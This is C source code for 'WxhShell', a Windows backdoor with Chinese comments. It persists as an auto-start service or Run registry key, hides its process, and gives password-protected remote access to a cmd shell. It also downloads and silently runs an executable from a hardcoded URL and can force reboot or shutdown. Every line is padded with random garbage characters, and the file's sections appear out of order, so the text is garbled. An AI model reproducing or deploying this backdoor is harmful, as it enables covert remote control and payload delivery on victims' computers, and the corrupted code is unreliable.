    if(Boot(SHUTDOWN)) L NS O]\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #V9do>Cu%  
    else { F,}7rhY(U^  
    closesocket(wsh); '"C& dia  
    ExitThread(0); W>y >  
    } Bi-x gq'z  
    break; .VXadgM  
    } z#HNJAQ#|  
  // 获取shell b]5/IT)@O  
  case 's': { bt'lT  
    CmdShell(wsh); #u"$\[G  
    closesocket(wsh); jI/#NCKE  
    ExitThread(0); k|4}Do%;  
    break; }y>/#]X  
  } |Ml~_m  
  // 退出 y3@m1>]09  
  case 'x': { O%s7}bR3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >zX`qv&>  
    CloseIt(wsh); a! gj_  
    break; &0x;60b  
    } VV-%AS6;  
  // 离开 HC!5AJ&+}v  
  case 'q': { y/Ui6D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `g vd 8^  
    closesocket(wsh); @+>t]jyz  
    WSACleanup(); s{uSU1lQn  
    exit(1); LkyT4HC8n  
    break; JuDadIrd{  
        } QC Jf   
  } K?@x'q1  
  } O^Y@&S RrQ  
=xjt PmZ5X  
  // 提示信息 Esdv+f}4;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _a\$uVZ  
} tq=7HM  
  } w&e q *q  
|33_="  
  return; {Q021*xt/  
} bQ`2ll*(  
M~U>" kX  
// shell模块句柄 0ky3rFSh1  
int CmdShell(SOCKET sock) 1VA%xOURh  
{ Lvb'qZ6n  
STARTUPINFO si; uWLf9D"  
ZeroMemory(&si,sizeof(si)); Pd+Wb3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ow 0(q^H<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U!b~vrr^  
PROCESS_INFORMATION ProcessInfo; D\Fu4Eg  
char cmdline[]="cmd"; &[t} /+)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); af_b G;  
  return 0; uoq|l  
} byHXRA)39  
~? n)/i("  
// 自身启动模式 R[W'LRh~:1  
int StartFromService(void) !-Uq#Ea0/  
{ H2{&da@D5  
typedef struct _b! TmS#F1  
{ LIRL`xU7  
  DWORD ExitStatus; 9w<k1j  
  DWORD PebBaseAddress; PNpH)'C|  
  DWORD AffinityMask; {# N,&?[  
  DWORD BasePriority; H<Zs2DP`  
  ULONG UniqueProcessId; N&G; `  
  ULONG InheritedFromUniqueProcessId; EouI S2e;a  
}   PROCESS_BASIC_INFORMATION; }F-,PSH Ml  
TOsHb+Uv  
PROCNTQSIP NtQueryInformationProcess; mW)C=X%  
W]5sqtF;6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Qn=y/._r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $-uMWJ)l  
;y.<I&  
  HANDLE             hProcess; 7Ga'FT.F  
  PROCESS_BASIC_INFORMATION pbi; rsD? ;XzH  
JqK-vvI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zr|\T7w 3  
  if(NULL == hInst ) return 0; T^@P.zX  
`aL4YH-v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iza.' Mm~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FT h/1"a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /t04}+,e ^  
YR.f`-<Z  
  if (!NtQueryInformationProcess) return 0; Mb+CtI_'  
]Z>zf]<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :@,UPc-+  
  if(!hProcess) return 0; x8Nij: K#  
72sBx3 ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fv3:J~Yf  
 L{u1_  
  CloseHandle(hProcess); $+n5l@W  
i&Me7=~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =UV=F/Af^  
if(hProcess==NULL) return 0; xeSv+I-b  
98%6Z8AS6U  
HMODULE hMod; l)qGG$7$  
char procName[255]; jO5We mqf  
unsigned long cbNeeded; {%8=qJ3@  
tVHQ$jJY%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zf A"xD  
IWnyqt(k  
  CloseHandle(hProcess); k(wJ6pc  
Dl_SEf6b  
if(strstr(procName,"services")) return 1; // 以服务启动 |dqvv  
&\Yd)#B/  
  return 0; // 注册表启动 eQsoZQA1  
} ixJwv\6Y  
C-;}a%c"  
// 主模块 4(p,@e31  
int StartWxhshell(LPSTR lpCmdLine) :snn-e0l  
{ }>m3V2>[  
  SOCKET wsl; N4wMAT:h  
BOOL val=TRUE; 1#jvr_ ga  
  int port=0; _R;+}1G/  
  struct sockaddr_in door; YL@d+ -\  
>}B~~C;  
  if(wscfg.ws_autoins) Install(); z<s4-GJ)?  
v QL)I  
port=atoi(lpCmdLine); hionR)R4  
WyJXT.  
if(port<=0) port=wscfg.ws_port; ppPzI,  
+( V+XT  
  WSADATA data; cP[]\r+Kj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }$1Aw%p^  
Gq^#.o]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x^JjoI2vf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }NETiJ"6  
  door.sin_family = AF_INET; 8A|i$#.&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mta;6<  
  door.sin_port = htons(port); ]@7]mu:oL  
jY5BVTWnV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ /6m  
closesocket(wsl); Ia>>b #h  
return 1; me/ae{  
} U-GV^j  
oxL4* bqZ  
  if(listen(wsl,2) == INVALID_SOCKET) { e3{L%rQE  
closesocket(wsl); h}$]3/5H  
return 1; -~ ycr[}x  
} /pDI \]  
  Wxhshell(wsl); 1~Z Kpvu  
  WSACleanup(); ^9I^A!w=  
_\2^s&iJh  
return 0; o*1t)HL<  
&-6 D'@  
} {T[/B"QZG  
;t}ux  
// 以NT服务方式启动 7<%Rx19L*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  LYX\#  
{ 5s2334G  
DWORD   status = 0; \|9KOulr  
  DWORD   specificError = 0xfffffff; 7c Gq.U  
&t w   
  serviceStatus.dwServiceType     = SERVICE_WIN32; =rDIU&0Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u(|k/~\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =.Q|gZ   
  serviceStatus.dwWin32ExitCode     = 0; s% ~p?_P   
  serviceStatus.dwServiceSpecificExitCode = 0; )04lf*ti  
  serviceStatus.dwCheckPoint       = 0; ';?b99  
  serviceStatus.dwWaitHint       = 0; /A) v $Bv=  
|d1%N'Ll  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?OPAf4h  
  if (hServiceStatusHandle==0) return; e/h7x\Z  
^6 sT$set  
status = GetLastError(); _[W`!#"  
  if (status!=NO_ERROR) 0\y@etb:mf  
{ c{t[iXDG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^y"$k  
    serviceStatus.dwCheckPoint       = 0; zorTZ #5  
    serviceStatus.dwWaitHint       = 0; /< CjBW:  
    serviceStatus.dwWin32ExitCode     = status; v#`Wf}G  
    serviceStatus.dwServiceSpecificExitCode = specificError; {1 94u %'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x 1"ikp}  
    return; = pS\gLQu  
  } =}~h bPJM  
l@om2|B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &p$SFH?s  
  serviceStatus.dwCheckPoint       = 0; t9()?6H\  
  serviceStatus.dwWaitHint       = 0; ~!!>`x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -W+67@(\8H  
} w{"GA ~=  
1H_#5hd  
// 处理NT服务事件,比如:启动、停止 9{bzxM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :[N[D#/z  
{ [y T4n.f  
switch(fdwControl) bMD'teJ  
{ ^9UF Pij"  
case SERVICE_CONTROL_STOP: HYPFe|t/  
  serviceStatus.dwWin32ExitCode = 0; +B@NSEy/+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -$4%@Z  
  serviceStatus.dwCheckPoint   = 0; WLWE%bDP  
  serviceStatus.dwWaitHint     = 0; ?WX&,ew~  
  { _ QM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EhybaRy;C  
  } ?fEX&t,'  
  return; 2eu`X2IBcT  
case SERVICE_CONTROL_PAUSE: soZw""|v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xze   
  break; s%z'1KPS  
case SERVICE_CONTROL_CONTINUE: _rqOzE)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; va8V{q@t'  
  break; zY|]bP[NEH  
case SERVICE_CONTROL_INTERROGATE: AAdRuO{l1  
  break; ^ >ca*g  
}; v}]x>f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oA~m*|  
} .so{ RI  
?8(`tS(_?  
// 标准应用程序主函数 S~F:%@,*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T}[W')[s  
{ j78xMGKO  
38Z"9  
// 获取操作系统版本 =3oz74O[  
OsIsNt=GetOsVer(); v mOXB#7W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9,'5~+7  
8'B\%.+"8e  
  // 从命令行安装 \sC0om,  
  if(strpbrk(lpCmdLine,"iI")) Install(); (`18W1f5W  
c`X'Q)c&K  
  // 下载执行文件 $YSD%/c  
if(wscfg.ws_downexe) { fwAN9zs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4ij`   
  WinExec(wscfg.ws_filenam,SW_HIDE); 5! Z+2Cu]  
} _:'m/K3Ee  
p^YE"2 -  
if(!OsIsNt) { FzpWT-jnDd  
// 如果时win9x,隐藏进程并且设置为注册表启动 0mj=\j  
HideProc(); i:kWO7aP  
StartWxhshell(lpCmdLine); H]=3^g64  
} q'hV 'U  
else 4'54  
  if(StartFromService()) n/@/yJ<EFi  
  // 以服务方式启动 9zO3KT2  
  StartServiceCtrlDispatcher(DispatchTable); D-3/?"n  
else &,."=G  
  // 普通方式启动 ?GFxJ6!%I  
  StartWxhshell(lpCmdLine); OqBw&zm  
hDlk! #*  
return 0; R C (v#G  
} Ti3BlWQH  
{u.V8%8  
0uU%jN$  
4&ea*w  
=========================================== k #*|-?  
YF>t{|  
C3@.75-E  
F`I-G~e  
EkSTN  
4rM77Uw>  
" 2 J4|7UwJ  
;mi0Q.  
#include <stdio.h> _;B!6cRLps  
#include <string.h>  29sgi"  
#include <windows.h> iY|YEi8  
#include <winsock2.h> g=Qga09  
#include <winsvc.h> 3Gp4%UT&  
#include <urlmon.h> zW0AB8l  
)i_FU~ LRq  
#pragma comment (lib, "Ws2_32.lib") INbjk;k  
#pragma comment (lib, "urlmon.lib") m]-8?B1`Y  
Y6L+3*Qt  
#define MAX_USER   100 // 最大客户端连接数 Jl]]nO BQ/  
#define BUF_SOCK   200 // sock buffer kmc9P&  
#define KEY_BUFF   255 // 输入 buffer u=E?N:I~F  
i9!Urq-  
#define REBOOT     0   // 重启 B?0{=u  
#define SHUTDOWN   1   // 关机  ~M'\9  
G'Q7(c  
#define DEF_PORT   5000 // 监听端口 )%y~{j+M  
.v" lY2:N  
#define REG_LEN     16   // 注册表键长度 rd,mbH[<C  
#define SVC_LEN     80   // NT服务名长度 uPF yRWK  
%UQ?k:aWp|  
// 从dll定义API ~o/^=:*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,\IqKRcYU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oq[E\8Wn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L|q<Bpz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #h3+T*5} 6  
4{vd6T}V!  
// wxhshell配置信息 Eq8OAuN  
struct WSCFG { ?J~JQe42  
  int ws_port;         // 监听端口 b<F 4_WF  
  char ws_passstr[REG_LEN]; // 口令 bf74 "  
  int ws_autoins;       // 安装标记, 1=yes 0=no :T\WYKX3C  
  char ws_regname[REG_LEN]; // 注册表键名 7@lXN8_f  
  char ws_svcname[REG_LEN]; // 服务名 7%E1F)%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GcU/   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i `>X5Da5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k( g$_ ]X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <y.D0^68  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "q`%d_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EkL\~^  
nUd\4;J#  
}; *b)b#p  
`U g.c  
// default Wxhshell configuration 6#KI? 6  
struct WSCFG wscfg={DEF_PORT, Dz50,*}J  
    "xuhuanlingzhe", 13QCM0#  
    1, 8zc!g|5"  
    "Wxhshell", + kF[Oh#  
    "Wxhshell", P+b^;+\1s  
            "WxhShell Service", %b{!9-n}  
    "Wrsky Windows CmdShell Service", ^ Wl/  
    "Please Input Your Password: ", t<|s &  
  1, .u*].As=  
  "http://www.wrsky.com/wxhshell.exe", 'u3+k.  
  "Wxhshell.exe" ? w?k-v  
    }; `{wku@  
kW!:bh  
// 消息定义模块 +E [bLz^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *(`.h\+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %f-<ol  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $dnHUBB  
char *msg_ws_ext="\n\rExit."; Nb#7&_f=  
char *msg_ws_end="\n\rQuit."; WsV3>=@f  
char *msg_ws_boot="\n\rReboot..."; ) ,hj7  
char *msg_ws_poff="\n\rShutdown..."; \Zv =?\  
char *msg_ws_down="\n\rSave to "; .]e6TFsrO  
btF%}<o)  
char *msg_ws_err="\n\rErr!"; 2wBU@T1  
char *msg_ws_ok="\n\rOK!"; d>`(.qvxR  
SNU bY6  
char ExeFile[MAX_PATH]; AY;+Ws  
int nUser = 0; h(8;7} K  
HANDLE handles[MAX_USER]; o3yqG#dA  
int OsIsNt; (7b_g6>:  
]-'9|N*}l  
SERVICE_STATUS       serviceStatus; w Y. g- 3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i/J NG  
%^l&fM*  
// 函数声明 u}1vn}F{  
int Install(void); )/Xrhhx  
int Uninstall(void); / 3k\kkv!  
int DownloadFile(char *sURL, SOCKET wsh); 5lxq-E3  
int Boot(int flag); z{g<y^Im+E  
void HideProc(void); I7PWO d  
int GetOsVer(void); 5tU"|10m3  
int Wxhshell(SOCKET wsl); 5)zB/Ta<  
void TalkWithClient(void *cs); H ZLOn  
int CmdShell(SOCKET sock); 2jZ}VCzRG  
int StartFromService(void); 48g^~{T4O  
int StartWxhshell(LPSTR lpCmdLine); JYr7;n'!  
}AiS83B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]2%P``Yj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \r%Vgne-g  
VQ?H:1R  
// 数据结构和表定义 x#0@ $  
SERVICE_TABLE_ENTRY DispatchTable[] = Qiw eM?-  
{ LQ@|M.$ A  
{wscfg.ws_svcname, NTServiceMain}, IJc#)J.2A  
{NULL, NULL} _~nex,;r  
}; :UcS$M1LE  
OZ;E&IL  
// 自我安装 N`Xnoehu  
int Install(void) *Z`eNz}  
{ `7%eA9*.m  
  char svExeFile[MAX_PATH]; dO4#BDn"=  
  HKEY key; LXC`Zq\  
  strcpy(svExeFile,ExeFile); \u _v7g  
gwaC?tf[  
// 如果是win9x系统,修改注册表设为自启动 /mwr1GU  
if(!OsIsNt) { un^IQMIh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _O;~ }N4u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !;*2*WuO;  
  RegCloseKey(key); ,*Z[P%<9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hs}"A,V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]A]E)*  
  RegCloseKey(key); 8Qz7uPq  
  return 0; RpK,ixbtA+  
    } 7 3z Y^ x  
  } *@arn Eu  
} ~}0hN]*G  
else { K^vp(2  
z){UuiUM+=  
// 如果是NT以上系统,安装为系统服务 ,N7l/6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pt cLJ]+)  
if (schSCManager!=0) 8*#][ wC2  
{ ]az} n(B,  
  SC_HANDLE schService = CreateService KHus/M&0  
  ( @*"<U]  
  schSCManager, /-YlC (kL  
  wscfg.ws_svcname, /N]Ow  
  wscfg.ws_svcdisp, &#oZ>`Qu  
  SERVICE_ALL_ACCESS, sR>;h /  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4`-?r%$,:  
  SERVICE_AUTO_START, 31sgf5 s  
  SERVICE_ERROR_NORMAL, C$RAJ  
  svExeFile, Omh&)|Iql  
  NULL, #Wm@&|U  
  NULL, ROt0<^<  
  NULL, vx5o k1UY  
  NULL, gqdB!l4  
  NULL K aQq[a  
  ); ~:}XVt0%8  
  if (schService!=0) fA M4Q  
  { v6P~XK}G  
  CloseServiceHandle(schService); x\bRj>%(  
  CloseServiceHandle(schSCManager); W8yfa[z~J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Q>3N(  
  strcat(svExeFile,wscfg.ws_svcname); W3V{Xk|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v8vh~^X%P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ({_:^$E\  
  RegCloseKey(key); )Kk(P/s  
  return 0; Fma`Cm.  
    } ;*4tVp,  
  } t6%xit+  
  CloseServiceHandle(schSCManager); ilRm}lU|x  
} %QsSR'`  
} .xz,pn}  
X\^& nLa  
return 1; svq9@!go  
} M`C~6Mf+  
>,"D9!  
// 自我卸载 i3 l #~  
int Uninstall(void) [mB(GL  
{ @Wx`l) b  
  HKEY key; [rUh;_b\D  
X |1_0  
if(!OsIsNt) { Xk&F4BJQk<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /romTK4  
  RegDeleteValue(key,wscfg.ws_regname); "'}v0*[  
  RegCloseKey(key); f0mH|tI`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +ptF-  
  RegDeleteValue(key,wscfg.ws_regname); ;+ C o!L  
  RegCloseKey(key); nhQ44qRgQ  
  return 0; AeY$.b  
  } Y0L5W;iM  
} Z}K.^\S9  
} ,+NE:_  
else { ^Azt.\fMX  
] EVe@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Hc&uE3=%sL  
if (schSCManager!=0) S QM(8*:X  
{ WJY4>7}{B@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R%)2(\  
  if (schService!=0) RlslF9f  
  { SZK)q   
  if(DeleteService(schService)!=0) { 4gv.E 0Fo  
  CloseServiceHandle(schService); yYG3/Z3u5  
  CloseServiceHandle(schSCManager); A1|7(Sow  
  return 0; 94h_t@Q/1  
  } YM`:L  
  CloseServiceHandle(schService); #GY&$8.u*  
  } 38*'8=Y#>  
  CloseServiceHandle(schSCManager); p'Y&Z?8  
} '?`@7Eol  
} u1pc5 Y{  
\=EY@ *=  
return 1; 3I;xU(rv  
} re ]Ste  
;o_V!< $  
// 从指定url下载文件 43{_Y]  
int DownloadFile(char *sURL, SOCKET wsh) PQU3s$  
{ n{.*El>{  
  HRESULT hr; W? "2;](  
char seps[]= "/"; kyRh k\X  
char *token; /jZaU`  
char *file; yUD_ w  
char myURL[MAX_PATH]; ~}7$uW0ol  
char myFILE[MAX_PATH]; }DDVGs[  
`'[7~Ew[  
strcpy(myURL,sURL); WbC0H78]  
  token=strtok(myURL,seps); 9zoT6QP4  
  while(token!=NULL) -TK|Y"  
  { .# !'c  
    file=token; Nl$gU3kL  
  token=strtok(NULL,seps); hs!UX=x|  
  } I=4Xv<F  
JVUZ}#O  
GetCurrentDirectory(MAX_PATH,myFILE); F_Z&-+,*3t  
strcat(myFILE, "\\"); `N|U"s;  
strcat(myFILE, file); nJtEUVMt  
  send(wsh,myFILE,strlen(myFILE),0); 7x[LF ^o  
send(wsh,"...",3,0); IFd )OZ5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xq8uY/j  
  if(hr==S_OK)  !fQJL   
return 0; "<PoJPh  
else [):{5hMA  
return 1; 97qtJ(ESI  
5"-una>D  
} } * ?n?'  
&\J?[>EJ.  
// 系统电源模块 V-D}U$fw  
int Boot(int flag) Sk6b`W7$  
{ ;mf4 U85  
  HANDLE hToken; %XEKhy  
  TOKEN_PRIVILEGES tkp; p3M#XC_H]  
N_u&3CG  
  if(OsIsNt) { Kcscz,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %sOWg.0_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zuC58B  
    tkp.PrivilegeCount = 1; <ICZ"F`S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1A7%0/K-]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lv<iJH\  
if(flag==REBOOT) { .-SDo"K.h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g  ,/a6M  
  return 0; D~G5]M,}$  
} F[>7z3I  
else { 'O.+6`&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :r1;}hIA9  
  return 0; U}tl_5%)  
} V,>+G6e  
  } *'UhlFed  
  else { 0K=Qf69Y  
if(flag==REBOOT) { 5kGxhD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A[u)wX^`f^  
  return 0; {Oy9RES qc  
} nc3sty1`  
else { q+YuVQ-fx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SQq6X63 \  
  return 0; 1^Kj8*O8e  
} :7 qqjs  
} I#"t'=9H  
L8K0^~Mk  
return 1; >;&Gz-lm  
} |HrM_h<X  
;EgzC^2e  
// win9x进程隐藏模块 6OfdD.y  
void HideProc(void) S304ncS|M  
{ u9TzZ  
HG2N-<$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -'I _*fu  
  if ( hKernel != NULL ) k4S} #!  
  { o .l;: Un  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V -q%r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ANckv|&'v  
    FreeLibrary(hKernel); 4rI:1 yGt@  
  } 54<6Dy f  
Dc5bkm  
return; U{73Xax  
} Up<~0  
HH"$#T^-  
// 获取操作系统版本 "Kyifw?  
int GetOsVer(void) /nc~T3j  
{ {*N^C@  
  OSVERSIONINFO winfo; .4wTjbO6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ! mm5I#s  
  GetVersionEx(&winfo); u K'<xM"%T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A:kkCG!~Nf  
  return 1; ?3`q+[:  
  else 3>i>@n_  
  return 0; ;4!=DFbU  
} I^WIa"u_  
>4,{6<|  
// 客户端句柄模块 -g:lOht  
int Wxhshell(SOCKET wsl) DKh}Y !Q=:  
{ A^pu  
  SOCKET wsh; p?;-!TUv  
  struct sockaddr_in client; ;_iPm?Y8  
  DWORD myID; -<_7\09  
ue@8voZhS/  
  while(nUser<MAX_USER) WElrk:b  
{ jRofG'  
  int nSize=sizeof(client); R 4V \B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hz E1r+3Q@  
  if(wsh==INVALID_SOCKET) return 1; WNhbXyp_  
H6_xwuw:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Z2kq2}a  
if(handles[nUser]==0) , 7Xqte  
  closesocket(wsh); *9J1$Wa  
else hL0]R,t;'  
  nUser++; !L77y^oV  
  } Y[Es  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X6xx2v%D  
[Gh"ojt]w  
  return 0; qh-[L  
} Qu`n&  
rnu e(t  
// 关闭 socket :y\09)CJK  
void CloseIt(SOCKET wsh) S."7+g7Ar  
{ I0DM=V>;  
closesocket(wsh); hm3jpWi 8  
nUser--; Y~az!8j;Z  
ExitThread(0); kBbl+1{H  
} Uh.Sc:trA  
*wwhZe4V  
// 客户端请求句柄 yLW/ -%I#u  
void TalkWithClient(void *cs) $&IpX M]  
{ z5 Bi=~=#  
_F izgs  
  SOCKET wsh=(SOCKET)cs; \83sSw  
  char pwd[SVC_LEN]; J^fm~P>.  
  char cmd[KEY_BUFF]; \OcMiuw  
char chr[1]; +e'X;  
int i,j; 7IW> >RBF  
Y;,Hzmbs6w  
  while (nUser < MAX_USER) { a\pi(9R  
%fv)7 CRM  
if(wscfg.ws_passstr) { {]^2R>0Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `@|w>8bMz{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #XI"@pD  
  //ZeroMemory(pwd,KEY_BUFF); >Rt9xP  
      i=0; g]|_ `  
  while(i<SVC_LEN) { @rO4y`  
$M':&i5`,  
  // 设置超时 &8sV o@Pa  
  fd_set FdRead; k(vPg,X>m  
  struct timeval TimeOut; Zm(dY*z5:J  
  FD_ZERO(&FdRead); &EovZ@u  
  FD_SET(wsh,&FdRead); Fd7*]a  
  TimeOut.tv_sec=8; 4 \p -TPM  
  TimeOut.tv_usec=0; x l0DN{PG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aX^+ O,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pdw#o^Iq^  
4<.O+hS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0+EN@Y^dAV  
  pwd=chr[0]; Uki9/QiX>  
  if(chr[0]==0xd || chr[0]==0xa) { 8Bpip  
  pwd=0; B wC+ov=  
  break; cXN _*%  
  } qX$u4I!,  
  i++; dig~J\  
    } KFDS q"j  
|y"jZT6R}t  
  // 如果是非法用户,关闭 socket ?z/Vgk+9|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,=o0BD2q  
} z856 nl  
]` ]g@v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =Ikg.jYq&F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kq-6HDR  
e"Rm_t  
while(1) { DA"}A`HfI  
@T&t.|`  
  ZeroMemory(cmd,KEY_BUFF); -[R!O'N9  
F Z!J  
      // 自动支持客户端 telnet标准   Y-p<qL|_  
  j=0; \k@Z7+&7  
  while(j<KEY_BUFF) { dB;3.<S=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "&lN\&:  
  cmd[j]=chr[0]; xd8 *<,Wj  
  if(chr[0]==0xa || chr[0]==0xd) { )ofm_R'q*  
  cmd[j]=0; #tjmWGo,  
  break; t`G)b&3_O  
  } :eOR-}p'  
  j++; #SkX@sl@  
    } KWhZ +i`  
0 mexF@  
  // 下载文件 '{ f=hE_/  
  if(strstr(cmd,"http://")) { S #8 >ZwQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F9H~k"_ZJR  
  if(DownloadFile(cmd,wsh)) (][LQ6Pc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a3@w|KLt  
  else lj2=._@R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tNnyue{p  
  } DjHp+TyT  
  else { v-`h>J!Nx  
dDtFx2(R  
